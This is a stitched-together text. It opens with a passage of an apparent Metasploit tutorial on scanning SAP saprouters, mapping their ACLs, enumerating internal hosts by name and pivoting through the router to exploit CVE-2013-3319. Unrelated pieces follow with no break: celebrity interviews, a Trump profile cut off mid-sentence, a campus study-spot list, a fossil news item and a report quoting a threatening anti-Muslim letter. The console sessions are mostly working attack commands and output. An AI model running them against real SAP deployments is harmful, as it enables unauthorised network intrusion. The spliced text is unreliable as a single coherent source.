msf > use auxiliary/scanner/sap/sap_router_portscanner msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_router_portscanner msf auxiliary(sap_router_portscanner) > set RHOST 1.2.3.101 RHOST => 1.2.3.101 msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.18 TARGETS => 192.168.1.18 msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01 INSTANCES => 00-01 msf auxiliary(sap_router_portscanner) > set PORTS 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN PORTS => 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN msf auxiliary(sap_router_portscanner) > run [*] Scanning 192.168.1.18 [!] Warning: Service info could be inaccurate Portscan Results ================ Host Port State Info ---- ---- ----- ---- 192.168.1.18 3201 closed SAP Dispatcher sapdp01 192.168.1.18 3200 open SAP Dispatcher sapdp00 192.168.1.18 50013 open SAP StartService [SOAP] sapctrl00 [*] Auxiliary module execution completed
We can try to understand why some connections are not allowed through the saprouter by using the VERBOSE option. When VERBOSE is set to true we are able to see the response from the saprouter, and map the defined ACL.
We will now scan the 192.168.1.18 and the 192.168.1.1 hosts, but only on port 3200, to see if we can connect to both SAP dispatchers:
msf auxiliary(sap_router_portscanner) > set VERBOSE true VERBOSE => true msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.1,192.168.1.18 TARGETS => 192.168.1.1,192.168.1.18 msf auxiliary(sap_router_portscanner) > set PORTS 32NN PORTS => 32NN msf auxiliary(sap_router_portscanner) > run [*] Scanning 192.168.1.18 [+] 192.168.1.18:3200 - TCP OPEN [!] Warning: Service info could be inaccurate Portscan Results ================ Host Port State Info ---- ---- ----- ---- 192.168.1.18 3200 open SAP Dispatcher sapdp00 [*] Scanning 192.168.1.1 [-] 192.168.1.1:3200 - blocked by ACL [!] Warning: Service info could be inaccurate [*] Auxiliary module execution completed
As you can see, we now also know that we cannot connect to other host on port 3200, since it is blocked by the ACL defined on the saprouter.
Mapping the ACLs
An interesting thing about the saprouter, is that it supports two types of connections:
Native – These connections are simply TCP connections;
SAP protocol – These are TCP connections with a twist, the protocol states that all messages are started with 4 bytes stating the length of the following content.
The SAP protocol is specific to saprouter, and is what the SAP GUI uses to connect to the SAP DIAG port through the saprouter. The native protocol is used for allowing other types of connections to pass through saprouter.
This module allows for specifying which type of connection to test during the scan in the MODE option. The default is the SAP protocol, which is the most probable to be used in production. However, it is not uncommon to find other services allowed through the saprouter, where the ACL will allow native (TCP) connections through.
We can set the MODE to TCP in order to assess whether this type of connections are allowed. We will now scan the internal hosts, both on port 3200 (SAP DIAG) and 80 (HTTP), with VERBOSE set to true, on both instances 00 and 01 and see what happens:
msf auxiliary(sap_router_portscanner) > set MODE TCP MODE => TCP msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN PORTS => 80,32NN msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01 INSTANCES => 00-01 msf auxiliary(sap_router_portscanner) > run [*] Scanning 192.168.1.18 [+] 192.168.1.18:80 - TCP OPEN [-] 192.168.1.18:3200 - blocked by ACL [+] 192.168.1.18:3201 - TCP OPEN [!] Warning: Service info could be inaccurate Portscan Results ================ Host Port State Info ---- ---- ----- ---- 192.168.1.18 80 open 192.168.1.18 3201 open SAP Dispatcher sapdp01 [*] Scanning 192.168.1.1 [-] 192.168.1.1:3200 - blocked by ACL [+] 192.168.1.1:3201 - TCP OPEN [+] 192.168.1.1:80 - TCP OPEN [!] Warning: Service info could be inaccurate Portscan Results ================ Host Port State Info ---- ---- ----- ---- 192.168.1.1 3201 open SAP Dispatcher sapdp01 192.168.1.1 80 open [*] Auxiliary module execution completed
From the output and the previous information we now know that the ACL is something like this:
Allow TCP connections from any host to 192.168.1.1 to port 80
Allow TCP connections from any host to 192.168.1.18 to port 80
Allow TCP connections from any host to 192.168.1.1 to port 3201
Allow TCP connections from any host to 192.168.1.18 to port 3201
Allow SAP connections from any host to 192.168.1.18 to port 3200
Blind enumeration of internal hosts
If you recall, we started by obtaining information from the saprouter which allowed us to know the IP address on an internal host, and we went on from there. But what if the saprouter doesn't provide us with that information?
One option is to just start scanning private address spaces, and see what happens. The other is to blindly enumerate hosts by hostname.
Saprouters are able to resolve hostnames we request it to connect to. Saprouter is also kind enough to let us know what are the errors when it fails to connect (you can actually see the raw responses by uncommenting line 242 on the module source).
With this feature we are able to enumerate internal hosts by hostname, and try to go directly for the gold!
For this, we need to set the RESOLVE option to “remote”. In this case, the module will request connection to the TARGETS defined, without resolving them locally, and we can try to guess the internal hosts, and eventually connect to them without ever knowing their IP addresses.
Important things to remember when blindly enumerating hosts:
Set VERBOSE to true;
We'll get more information from saprouter if MODE is set to SAP_PROTO;
It is enough to set only one port to scan, since we're only interested at this point in the information sent by the saprouter (try 3200);
Results will vary depending on the configured ACL. Unfortunately blocked connections won't give us much info.
In this example we'll try the hostnames sap, sapsrv and sapsrv2.
msf auxiliary(sap_router_portscanner) > set RESOLVE remote RESOLVE => remote msf auxiliary(sap_router_portscanner) > set MODE SAP_PROTO MODE => SAP_PROTO msf auxiliary(sap_router_portscanner) > set VERBOSE true VERBOSE => true msf auxiliary(sap_router_portscanner) > set TARGETS sap,sapsrv,sapsrv2 TARGETS => sap,sapsrv,sapsrv2 msf auxiliary(sap_router_portscanner) > set PORTS 3200 PORTS => 3200 msf auxiliary(sap_router_portscanner) > run [*] Scanning sap [-] sap:3200 - unknown host [!] Warning: Service info could be inaccurate [*] Scanning sapsrv [-] sapsrv:3200 - host unreachable [!] Warning: Service info could be inaccurate [*] Scanning sapsrv2 [+] sapsrv2:3200 - TCP OPEN [!] Warning: Service info could be inaccurate Portscan Results ================ Host Port State Info ---- ---- ----- ---- sapsrv2 3200 open SAP Dispatcher sapdp00 [*] Auxiliary module execution completed
From the output we see that the host “sap” does not exist, but that host sapsrv does, although it is unreachable, and sapsrv2 exists and we can connect to port 3200.
This technique can also be used to try to find other hosts on the network, not SAP related, just try using common hostnames, like smtp, exchange, pdc, bdc, fileshare, intranet, or what other nice hostnames you might have on your bag of tricks
The last mile
Now that we have obtained all this information, we know the internal hosts available, what services are allowed, and what protocols we can use to pierce the saprouter, we can actually connect to internal servers, and proceed with our pentest.
Metasploit provides us with an awesome way to saprouter as a proxy, using the Proxies option, thanks to Dave Hartley (@nmonkee).
So at this point, we want to start gathering information on the internal sap server we have discovered in host 192.168.1.18. As an example, we'll be using the module sap_hostctrl_getcomputersystem which exploits CVE-2013-3319 and give us details on the OS the server is running on by querying the SAP Host Control service on port 1128 via an unauthenticated SOAP request. We'll be pivoting through the saprouter, using the proxy support in metasploit:
msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_hostctrl_getcomputersystem msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299 Proxies => sapni:1.2.3.101:3299 msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18 RHOSTS => 192.168.1.18 msf auxiliary(sap_hostctrl_getcomputersystem) > run [+] 192.168.1.18:1128 - Information retrieved successfully [*] 192.168.1.18:1128 - Response stored in /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_386124.xml (XML) and /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_186948.txt (TXT) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
If all went well, you'll have a nice output of the module in the loot containing interesting internal information from the target SAP host (such as internal usernames you can then try to brute force ).
Pivoting can (and should!) be used to run other modules against internal hosts, not only SAP systems!
Conclusion
We've seen how it is possible to exploit weak saprouter configurations that can allow access to internal hosts all the way from the Internet, all this using only metasploit's support for pentesting SAP systems.
I hope this article can help shed light on both the risks associated with saprouter deployments, as well as SAP security in general.
ReferencesIt was an evening filled with fun, frolic and festivity as Ranbir Kapoor and Deepika Padukone celebrated Diwali as a part of the promotions of their upcoming film, Tamasha. Organised in a lawn decorated with lights and diyas, the event was a far cry from the noisy press conferences. While Deepika looked elegant in a beige and red sari, Ranbir looked dapper in a maroon kurta pyjama with a black printed Nehru jacket. Ranbir and Deepika kicked off the celebrations by lighting up diyas and adding colour to Rangoli. The duo lit sparklers and danced to ‘Matargashti,’ a peppy number from their film. Over a 30 minute long conversation with timesofindia.com, the duo talked about their Diwali memories, working with each other and their kissing scene in Tamasha being axed. Excerpts:I am sure there have been and there should be. It is not in a way that you are conflicting and that you have fights. Deepika has a very strong opinion. I have an opinion. Imtiaz has an opinion. Filmmaking is not dictatorship. It is about everybody coming in together with their ideologies and their take. It is a marriage of thoughts. I think we enjoy that also. I have never worked on a film with Deepika where it has been like we have to do it this way, so you just do it this way. It is a lot of give and take, a lot of improvisation, a lot of care and respect for each other’s work and talent.From my very first film I have been nervous about the success of my films. My first film (Saawariya) was a big disaster. So, I feel the pressure. I feel it all the time. I feel that the audience trusted me and paid their hard-earned money to come and see my movie and I didn’t entertain them. I let them down. So, I think I have to earn their trust because there is nothing like a box-office success. We are not making movies for ourselves. We are not making movies for critics. We are making movies for the audiences. And the least we can do is entertain them. And that is what the process is. You have to constantly try something new, try something which is not boring yourself as an actor and give them entertainment For latest Bollywood updates, follow us on Twitter >>> @TOIEntertain For the latest in Bollywood news, like us on Facebook >>> TOIEntertain Not at all. He knows what he is doing. It ( Bombay Velvet’s debacle) didn’t surprise me because everyone’s career goes through its ups and downs. What you can’t take away from someone is their talent, which he is blessed with. He is also very hard-working. He is not someone who takes his lineage for granted. He is not someone who takes the audience or the film for granted. I have also been through phase of my career where some of my films back-to-back did not work. But with certain maturity, you realize that it is a part of everyone’s journey, everyone’s career and it is only going to make him a better person.I don’t understand the question of dream role. My attempt as an actor is to take on a film or a role which is exciting and make that a dream role. You make it exciting and challenging and you hope that in the process of making certain films and playing certain characters, you make them iconic. I am happy to play the girl-next-door sort of character but still make it challenging for myself.Yes, I have. But to be honest, in the last 10 days, I have been taking illegal drags (everyone bursts into laughter). I have been a two-packet smoker. When you are young, it is fine, as you have a good hormonal system. But as I was getting older, I felt that my skin was ageing, I was looking older on screen. So, I quit smoking for that purpose and also because I wanted to be healthy. I hope that being an actor, I can inspire people to quit smoking. I was a big smoker and when you give it up, life is so much better. You have so much of free time to think about other things instead of thinking of lighting a cigarette. I feel more alive. I am very aware of the social media and plenty of times, I go there as a ghost. Social media has become such a big platform. Especially, in the field of films that we come from, it is very important to be relevant on such a platform. It’s not that I am not on the social media because I am against it; it is just that I am less confident about it.He has been like that since I was born. He is always in trouble with my mother at home. He speaks his mind and that is what is really good about him. Unfortunately, in this country, you can’t really speak your mind. Anything you say is misconstrued and especially if you are an actor, every word, every thought, every picture has so much of interpretations. But I don’t think he cares about that.For more interesting Bollywood news and pictures, follow us on Pinterest>>> timesofindia For latest Bollywood updates, follow us on G+ >>> The Times of India Entertainment I have many with my parents and I think the Diwali themed ad I did with my parents explains it all. The beauty of it is its predictability– the fact that you know that you are going to wear new clothes, going to celebrate with your family, there are going to be certain rituals, a certain routine that at this time the puja will happen, your mother will call you out in the same way, gifts will be distributed, sweets will be distributed, everyone will sit together and eat, you will do a puja, you will light crackers, light the diyas. That’s the beauty of it that some things never change.Pretty much what she said. It has always been a very family oriented festival when we make sure that we are with our family. I go to my grandmother’s house. I go to RK studio. We do Lakshmi puja at our home. We wear new clothes, give gifts to everybody, to our staff, loved ones and then we go to respective parties. Parents go to their friends and we go to our friends. I think this year; everyone’s going to Amitabh Bachchan’s house where the fraternity is there to celebrate. It is fun as everyone is under one roof, lot of positivity, lot of complimenting people about their work, lot of criticism, it is a good time when everybody comes under one roof and celebrates.First of all, the kissing scene in the film isn’t like it was reported in the media. I think certain scenes are part of a film because they are the demand of the story. However, I think that the kissing scene, which has been cut out, isn’t going to make any difference to the film. Having said that, I respect CBFC’s decision.I hope that they (CBFC) can become a little bit more lenient and a little bit more open-minded where art and films are concerned.No, I don’t consider Deepika as my lucky charm. A woman who has worked so hard, who has made her own place in Bollywood, I can’t consider her as my lucky charm. As far as working with her is concerned, we will continue to work together if the right films and right roles come our way.It is like asking who are you closer to-your mother or father. Both the films are completely different from each other and have audiences of their own. I think both of them are special and very close to my heart.No. Nothing has changed. Nothing will ever change and nothing should ever change.Two days back, we had a celebratory dinner before I was coming back and then we went to a bar. So when I went, Imtiaz told that me that he had spent a good two hours with her (Deepika) and I think it is the similar conversation which would probably have been in Love Aaj Kal where he just talks to her and he is so happy when he hangs around with Deepika and would always tell me that this girl has something which he still has not discovered yet. So, I think Imtiaz has a lot more to discover about Deepika. He is going to work more with her, give her another challenging role and I think that is always exciting for an actor. You know that when you work with a director twice, there is not much that you can surprise them because they know you so much, they know the look you are going to give, that you are going to be happy when you act. Imtiaz thinks that with Deepika, there is not a set pattern. She is someone like a volcano who is just going to come out.I am not a good mimic artist. I worked with a mimic artist. He trained me for a week. Imtiaz writes such good dialogues, he writes such good scenes that it is not really an actor’s performance but it is the vibe of the whole world that works. I am really happy that I got a chance to pay homage to Dev sahab.I haven’t planned anything as yet. I have been reading scripts and meeting directors but I am not in any rush. I think I have had a good year. With Tamasha and Bajirao Mastani coming up, it will take me a while to get over that and actually sink my teeth into something else.Photo illustration by Globe staff
WASHINGTON — Andrea Lake, who appeared on Season Five of “The Apprentice,” had every reason not to like Donald Trump. He was a bully, she thought. Too brash. His bankruptcies bothered her, and the way he lied about them bothered her more.
But then she met him. Over the course of a lunch in Manhattan, with other contestants on the show, she came to a shuddering realization: She liked the guy.
“He was super charming,” she said. “He was legitimately funny and quick-witted.”
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The man who would scream “You’re fired!” in front of the TV cameras would later call some of those same losing contestants on their cellphones to follow up. After firing one contestant on his reality show in Season Six, he even offered her a job in real life.
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Interviews with former business colleagues, campaign rivals, and others who have known Trump up close say there is a jarring juxtaposition between the Trump they know and the Trump they see these days on TV.
Trump the presidential candidate is omnipresent, constantly invading TV screens or appearing on stage at big rallies, and it’s hard to see how that arena-sized personality can possibly fit into a meeting room or make small talk with regular folks. It raises the question about who the real Trump is — and how much of his stage persona is a schtick. Also to wonder at is how he manages to condense that outsized personality into someone that many people who’ve met with him describe almost universally as charming — though not the slightest self-effacing. Even in private, he remains his own greatest fan.
While Trump is now the star of a political reality show that has Americans transfixed — or, in some cases, horrified — behind the curtain, he can seem quite a different man. At times, surely, and especially in the company of women, his behavior and remarks can discomfit or offend. He is well known for his blunt comments about women’s bodies, their beauty or the want of it, and was, during his playboy years in the 1990s, no stranger to allegations of unwanted advances.
Still, as Trump begins trying to unite a fractious Republican Party, he is performing some head-spinning shifts, employing the powerful charm many describe to win over today those he insulted yesterday.
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Trump — who has called Senator Lindsey Graham a “nut job,” “disgrace,” and “one of the dumbest human beings I’ve ever seen” — was suddenly on the other end of the line last week, in a private conversation with the South Carolina Republican.
“He told a few jokes,” said Graham, who has tossed some choice verbal bombs of his own Trump’s way. “Of all the people running, he’s the guy you’d want to go to dinner with.”
Representative Chris Collins of New York, the first member of Congress to endorse Trump, predicted some of his skeptical colleagues would rally to the real estate mogul once they had the opportunity to meet him one on one. “People will see the Donald Trump I know, not necessarily the one you see in the rallies,” Collins said.
“One on one, Mr. Trump is a listener, not a talker. When he’s got a group of people, he wants to know what’s going on in other people’s districts.... He’s a very thoughtful listener, one on one.”
Trump is a man whose public persona can seem like a caricature of himself, and at times it seems like the entire country is privy to his internal monologue — a stream of half thoughts, boasts, unabashed contradiction, and smartly targeted promises. His life has been lived in the tabloids, and he has played up aspects of his life that most people try to downplay, from his antics in the bedroom to the mountain of money in his bank account.
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But in private gatherings, he usually doesn’t come on in all caps; he massages the conversation.
‘I think he actually is genuine. But then he gets before the camera, and he puts on this act.’ Liza Wisner, former contestant on “The Apprentice”
“He’s methodical. Not extraordinarily aggressive,” said Republican National Committee chairman Reince Priebus, who has gotten to know Trump over the years. “He’s good at understanding that getting close to people personally is always good first before you go in for the chess move.”
Chip Somodevilla/Getty Images Trump spoke with Reince Priebus, chairman of the Republican National Committee, at a debate in March.
Trump, as he is for those who approach him after rallies, can be intimidating to people meeting him for the first time. He’s the guy that most know as a celebrity. He’s the one who, if TV ratings are to be believed, we can’t seem to stop looking at.
Trump seems aware of his oversized public persona and works to make sure people aren’t intimidated by the version of him they see on television. Conversations with him don’t feel rushed. When he is approached for photos, he’ll pose for several, asking, “Do you have what you need?”
“He has a commanding presence. When he enters the room, you know Donald has entered the room. He’s magnetic,” said Chelsea Cooley, who won the Miss USA pageant in 2005 and later went to Trump for advice for her business.
“He can walk into the room and not say anything, but it’s palpable,” she added. “That is true confidence. His sheer presence is absolutely powerful.”
But quickly, she and others said, he attempts to put those around him at ease. He’s not one for small talk, but he’ll ask about family members. He repeatedly uses the names of the people he’s speaking with and makes his guests feel as if they are close friends, even when meeting him for the first time. It is, surprisingly to some Trump watchers, typically an insult-free space.
“You can’t become a multibillionaire by giving heads of other corporations unfavorable monikers,” said Hogan Gidley, a longtime Republican consultant. “You’ve got to have some savvy, some charm, some ability to be that successful.”
Gidley has met Trump several times. In their first encounter, Trump complimented him profusely, saying “Hogan! That’s a good name, a strong name. I like that very much.”
“He didn’t look past me, he didn’t look around the room,” he said. “He looked directly at me.”
A key element of Trump’s charm appears to be his ability to adapt to his audience.
When he ran into former presidential contender Mike Huckabee at a hotel in Iowa, he blew him an air kiss and said, “I love you, Mike!” When talking with beauty queens, he would speak in softer tones spliced with “sweetie” (an old-fashioned sort of endearment that is sometimes seen as sexist). When talking with contractors and officials in Atlantic City, he was far more coarse, dropping expletives with natural gusto.
“We called him our Teamster Friend,” said Edward Kline, a former state legislator who represented Atlantic City and is now backing Trump’s campaign. “Because he’d talk like a Teamster. He’s a little tough, and the language he would use, it was like you were talking with a Teamster. But you were dealing with Donald Trump.”
Throughout the Republican presidential campaign, he has tapped into an angry, fed-up slice of the electorate. Violent outbursts have occurred at some of his rallies. He is best known for proposing a wall along the border with Mexico, and insulting essentially all Latinos and Muslims, which makes it hard to imagine him building any bridges.
But when he wants to, it seems he can. The Trump who yells at protesters, requesting that police officers remove them from the room, is not the same Trump that those who have been in more intimate settings with him know. There is a diplomatic side to him that rarely comes across at the podium.
“I cringe sometimes,” says Tyana Alvarado, a former contestant from “The Apprentice” who, as a Hispanic and a woman, fits two of the groups that Trump has often insulted.
Tyana Alvarado (center) a contestant from season 10 of “The Apprentice,” with Donald Trump and his son Donald Trump Jr.
“I just feel like I know a different side of him and I need to protect him,” she said. “Sometimes the things he says it’s like, ‘God, you’re making it hard for me to protect you.’ But that’s not the Trump that I know.”
Trump makes a remarkable shift as soon as he gets in front of a camera, say those who’ve seen him both on and off screen.
“It’s almost like multiple personalities,” said Liza Wisner, a former contestant on “The Apprentice.” “I think he actually is genuine. But then he gets before the camera, and he puts on this act.”
Shortly after she was fired, coming in third place on Season 10, Trump invited Wisner to an 18-hole outing at one of his golf courses. He drove the golf cart around for several hours, munching on a sandwich and grabbing drinks from an ice chest.
“I think he knows what he’s doing. I truly believe this is part of his whole scheme to getting elected,” Wisner, who is turned off by his campaign but isn’t yet sure if she’ll vote for him. “There are moments I don’t believe we are |
great, I'll start my career by taking over the show, and then it will fail, and I'll be done before I can even begin." But Jordan Levin, who was running the network at the time, said, "You know, Greg, this isn't a dialogue." (Laughs.) "You're going to do this." One thing I learned is that I'm not a one-man show. I tried that first year to do a lot more myself, and it didn't make me a happier person. In fact, I was a little bit of a tyrant, and I realized I don't want to be that person.
How and when did it start to click for you?
It's funny, the famous people who were doing it at the time were, like, David Kelley, and I thought, "Well, he sits down and writes a script in his office in a day." So I tried that for a while, but I realized I'm not that person. I like giving notes to writers and breaking stories with writers. And so I started to fashion the show a bit around what my strengths and weaknesses were. I couldn't write fast, so I was extra-reliant on writers who could write quickly. I could break stories quickly, and I enjoyed the cutting room, but I hadn't spent a lot of time in it, so I was reliant on other producers who were more gifted at that initially. And I learned that probably the least valuable place for someone like me to be, a lot of times, is on set. Because if I've done my job right, I don't need to be.
Your peers who have multiple shows — Shonda Rhimes, Ryan Murphy, Chuck Lorre — have considerably bigger profiles. Does it hurt or help you to keep a lower profile?
Someone said to me a long time ago, "Avoid publicity at all costs unless it comes to you. Because at best, it's a push." I have a Twitter profile, but I avoid red carpets and all that kind of stuff. I'd rather no one talk about me ever, and I just get to do my thing. I'm an introvert. But the Instagram piece has been interesting — especially now that I have a kid. I post some fun things with [my son] Caleb because I think about the gay kid out there who's thinking, "What's going to happen to me? Am I going to ever feel normal?"
You've had tremendous success in TV but have struggled a bit in film …
I've had a lot of stuff not work on TV, too. I've had as much failure in this business as I've had success, across both spectrums. We can count pillows! (Laughs.) But Green Lantern is a great one to point to. I got fired from that movie as a writer and as a director, and yet my name was all over it. I still get blamed for it, even though I had nothing to do with the finished product. As Marc Guggenheim always says, there's a very Google-able script that we did write that was not executed that I still stand by. But at the time, I thought, "Oh God, that noose will hang around my neck my whole life."
Did you have any hesitation about going back down that DC Comics road for TV?
My only request [when we started on Arrow] was to let us do it our way because I was so heartbroken by what had happened. Being a part of something like that when you've loved those characters your whole life, and thinking you're not going to really get a chance to participate before you even start was very [tough]. Having to go every day to see whatever version of the film that they'd concocted at that point was a bit like having to buckle in and go drive to the same auto accident every day and get hit by the same car.
Arrow had a major casualty this year, one that was extensively built up within the show. How has your sense of what the audience wants and can handle when it comes to grieving changed?
Every year, by the end of the year, whether you're doing Walking Dead or you're doing a show like ours, characters are going to perish. That is part of the investment in the show. And of course, we've brought a few back because it's a comic book and we have all sorts of fun ways that we can do that. But people, particularly on Twitter, are very vocal. When I started on Dawson's, people were very passionate about who got together with whom, we'd get a box of mail once a month, and you'd look through it, and you'd be like, "Wow, OK, that person from prison is very passionate about whether Joey is with Pacey or with Dawson." And now, with Twitter, you don't know if it's just four people with 1,000 accounts. The thing I'd say is that obviously a character's death is going to be a really sensitive thing for somebody who's enjoyed a show and that actor, and we don't take any of them lightly.
From left: Berlanti, Zach Braff, Ben Weber and Timothy Olyphant in Berlanti’s first film, 'The Broken Hearts Club.'
The DC Cinematic Universe has been criticized for its excessive darkness. You have The Flash, which has often been very bright; Legends of Tomorrow, which is often downright goofy; and Arrow, which is dark but still has a fair amount of humor. How important is "fun" to your vision of what a comic book adaptation should be?
If you're going to do something like The Flash, part of what made Barry Allen so great was that he was this guy in the middle of all these superheroes who couldn't believe that he was there, and he loved it. It was the first comic book character who made me cry. He died in Crisis on Infinite Earths saving everybody, and he was the last one anyone expected to save everyone, so inherent in this character was this heartbroken sadness and sacrifice, but at the same time this joy. That duality is something I've really latched on to in a lot of what I've done. This is the only Flash I'd know how to do.
The Flash film recently lost its director. Is helming that movie of interest to you?
No one's discussed that with me, but I could never direct a Flash movie that Grant Gustin wasn't the lead of. He's my Flash.
What sort of advice would you give to whoever does direct the film?
We have three words above the door [of the Flash writers room]: "Heart, humor and spectacle."
If Warner Bros. TV executives asked you to be the Kevin Feige — who is the creative mastermind of Marvel — of the DC Cinematic Universe, what would you say?
It's never even really come up. Peter [Roth, president of Warner Bros. TV] knows how much I love the characters, and I like being part of this universe in any way that they'll all allow and are interested in me being a part. That's the truth. I'm attached to a few films [at Warner Bros.] now, and one, Booster Gold, is a DC property. Zack Stentz, who wrote an episode of Flash last year, just got the job, so he's writing the script now. I'd probably direct that, or I would want to. But I don't see my cup as limited. I actually think some of the stuff we get to do on the TV side is richer, deeper and more like the true comic books in the sense that you're always able to explore a new thing the next week and the stories grow wider and wider.
What haven't you done that you'd like to do?
I definitely want to direct more. Film directing's a lot like showrunning. The thing that I probably enjoy the most and also am the best at in whatever art form I'm working in is being the protector of the emotional experience of the audience. Also, I'm a dad now, and I'm starting to think about my life differently in terms of how much time I'm going to have. When you direct a film, you have a couple years between movies, and I'd have more time to be with my family.
You've said every few years you try to do a personal project. When will that come and what will it entail?
Last year we had three new shows going on, and I had to make them all work. I owed that to everybody. But my brain is just opening up again, so ask me in five months and I'll be able to tell you what it is. I'm working on it. I'm just finishing up co-writing a project for Showtime, too, which I'm supposed to direct if it goes. It's based on a book called You, a love story from the point of view of a stalker, which is very different from anything I've ever done.
If you could do a reboot on any of your shows, which would you revisit?
Well, we had an incredible second season planned for [USA's] Political Animals that would still be surpassed by what's actually happening in the political fabric right now. The hook of it was that [Elaine Barrish, played by Sigourney Weaver] was going to run for president because, if you remember, the president passed away. So she was going to run, and the vice president, who had ascended to the presidency but was not a great guy, was going to put [Elaine's] ex-husband on his ticket. So now she'd be running against him. But to answer your question, I'd be lying if I didn't say there are days where I wonder what happened to the Everwood people.
Have you had any conversations about a revival?
Please, my goal with Everwood is just to get it on Hulu or Netflix. I should be able to go home, turn on Netflix and watch an old Everwood episode.
This story first appeared in the May 20 issue of The Hollywood Reporter magazine. To receive the magazine, click here to subscribe.Haven’t found that perfect study location yet? Why not try a few of these?
Libraries
Asian Library – Tucked behind the C.K. Choi Building and some really big trees, this library located in the Asian Centre is quiet for studying.
Koerner Library – This library is more than it appears. Not only does it have four floors above ground, it has two below. You can find group study rooms on level one, which can be booked at the desk on level two. There are also study carrels on every floor for individual study.
Woodward Library – The Woodward Biomedical Library has study rooms on the second and third floors. No booking required.
Music Library – This library is on the top floor of the music building. It’s nice and quiet, though you may hear the hum of an orchestra from time to time.
Law Library – Located inside Allard Hall, this library is spacious and quiet. Its location near Buchanan doesn’t hurt either.
Education Library – This beautiful and spacious library in the Scarfe Building has huge windows, comfy couches, and is quiet and never crowded.
Xwi7xwa Library – This secret library is tucked in the serene and lush surroundings in the First Nations Longhouse. The peaceful rushing of the mini waterfall will bring about a calm atmosphere, perfect for studying.
Irving K. Barber Learning Centre – Part library, part classrooms, part resource centre, part cafe, IKBLC has lots to offer for group, open and silent study options. The Learning Centre also houses the Chapman Learning Commons, and is open 24/7 during exam period.
Reading Rooms
Language Education Reading Centre – Ponderosa Annex F, Room 103 – Dive into your studies on a comfy couch amongst historical language education texts, children’s literature, and more.
Architecture Reading Room – Lasserre Building, Room 9 – Although only open during the day, this reading room is spacious and warm. Its proximity to Buchanan makes it a choice study spot.
Crane Resource Centre – Brock Hall Annex – Located close to Buchanan and the bus loop, this study space is very convenient.
Coolie Verner Memorial Reading Room – Ponderosa Annex F, Room 201 – Want to study away from the buzz of campus? Immerse yourself in the modest but tranquil quarters of this reading room.
ICICS/Computer Science Reading Room – ICICS, Room 262 – Immerse yourself in your studies in the reading room at the Institute for Computing, Information, and Cognitive Systems (ICICS).
Empty Classrooms
Empty classrooms are great for group studying – you’ve got the board, the desks and the classroom atmosphere. Watch out though – an incoming class may displace you. Good places to try include Buchanan (Block D especially), Henry Angus, Biology,Hennings and Brock Hall Annex.
Lounges
International House Upper Lounge – Not only does this lounge have a nice big table to spread out on, International House always has something going on.
Meekison Arts Student Space (MASS) – Buchanan D140 – This is the Arts Undergraduate Society’s dedicated study and social space for Arts students.
Undergraduate Lounges – Most departments have lounges for their students. Couches and microwaves are common fixtures.
Here are a few in Buchanan Tower:
2nd Floor – Department of Central, Eastern, and North European Studies Reading Room
4th Floor – Department of English Underground Lounge and Study Room
8th Floor: Department of French, Hispanic and Italian Studies Lounge
10th Floor: Department of Economics and History Library
A few more can be found across campus:
Geography Lounge – Geography Building
Music Lounge – Music Building
Anthropology and Sociology Lounge – Anthropology and Sociology Building
First Nations and Indigenous Studies, First Nations and Endangered Languages, and Humanities 101 Lounge – Buchanan E259
Creative Writing Lounge – Buchanan E466
Political Science Lounge – Buchanan C303
Other Spots
AMS Student Nest – The nest offers lots of nooks and study spots, with a bevy of food and coffee options nearby
Woodward/IRC Concourse – The tables located in this concourse are popular with Life Sciences students for studying and lunching.
Nitobe Memorial Garden – Study with the backdrop of lush plants and tranquil waters in this authentic Japanese garden. You might even spot a koi.
Restaurants in University Village – With a large number of choices, the restaurants in the Village are a great place for a study date. Blenz, Pita Pit, Starbucks, and Vera’s are only a few among the many locales to choose from.
The Fairview Beanery – Tucked along the winding Fairview Crescent is the Beanery, a mellow and homey coffee house.Scientists found 11 fragments of a saber-toothed cat skull in Germany. Together, the fragments formed a near complete skull. Photo by Univ. Tübingen/Senckenberg
April 12 (UPI) -- Researchers in Germany have recovered remains of a saber-toothed cat at an archaeological site in Schöningen. The fossil skull is nearly complete.
The fossil remains represent the European saber-toothed cat, Homotherium latidens. It is the third time remains of the species have been found among the relatively young sediment layers at Schöningen.
Until the first cat fossils were discovered in 2012, scientists believed the species went 500,000 years ago.
"Our findings show that 300,000 years ago, the saber-toothed cats were not as rare as previously thought," Jordi Serangeli, a researcher at the University of Tübingen and lead excavator on the project, said in a news release.
When the fossils were first recovered, their origins weren't clear. The fossils consisted of 11 bone fragments. When pieced together in the lab, the fragments formed a near complete neurocranium, allowing scientists to identify the species.
"We then compared the reconstructed skull with recent and already extinct species of large carnivores and were thus able to demonstrate that the remains represented the head of a European saber-toothed cat," said Thijs van Kolfschoten, a professor at the University of Leiden.
Researchers are currently compiling their observations of all three saber-toothed cat specimens for inclusion in a forthcoming scientific paper.
Scientists believe further analysis of the newly recovered skull could yield insights into the species' brain size and shape, as well as its visual and hearing capabilities.The anonymous, typed letter was sent from Turin to the Islamic centre in Imperia, Liguria, Il Secolo XIX reported.
“Go back to your pigsty or you’ll all burn in the mosques,” the letter said.
